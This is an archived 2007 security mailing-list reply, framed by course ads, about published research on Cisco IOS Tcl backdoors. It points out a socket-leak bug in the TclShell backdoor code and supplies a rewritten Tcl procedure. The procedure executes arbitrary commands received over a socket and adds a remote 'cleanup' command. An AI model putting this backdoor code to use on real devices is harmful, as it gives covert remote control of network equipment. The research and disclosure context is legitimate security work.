Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | Re: Creating Backdoors in Cisco IOS using Tcl |
|---|---|
| Date: | 27 Nov 2007 17:49:24 -0000 |
A quick comment on the TclShell source code (v0.1) included in http://www.irmplc.com/content/pdfs/Creating_Backdoors_in_Cisco_IOS_using_Tcl.pdf The echo procedure fails to close the client socket on EOF. This will cause the readable fileevent to trigger repeatedly consuming CPU and never freeing the socket. As the Tcl interpreter on Cisco devices has a relatively small number of sockets (255 total system wide if memory serves) repeated connections to the backdoor would exhaust all available (to Tcl) sockets on the device effectively DoS'ing other Tcl scripts and probes running. I'd recommend rewriting the echo proc as: proc echo {sock} { global var if {[catch {gets $sock line}] || [eof $sock]} { return [close $sock] } # allow a special command to "clean up" if {$line == "cleanup"} { set var done puts $sock "(closing backdoor...)" return [close $sock] } catch {exec $line} result if {[catch {puts $sock $result}]} { return [close $sock] } } The above version makes sure sockets are closed when they should be. It also takes advantage of the "vwait var" already present in the script (which kicks off the event loop and allows incoming connections to be processed) and provides a method to remotely close the backdoor once it is no longer wanted. I suspect something like this was intended in the original version since the original echo proc calls "global var" despite never doing anything with the variable var afterwards.
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | Eurologon CMS Db credentials disclosure / files download, kingoftheworld92 |
|---|---|
| Next by Date: | CORE-2007-0821: Lotus Notes buffer overflow in the Lotus WorkSheet file processor, Core Security Technologies Advisories |
| Previous by Thread: | Eurologon CMS Db credentials disclosure / files download, kingoftheworld92 |
| Next by Thread: | CORE-2007-0821: Lotus Notes buffer overflow in the Lotus WorkSheet file processor, Core Security Technologies Advisories |
| Indexes: | [Date] [Thread] [Top] [All Lists] |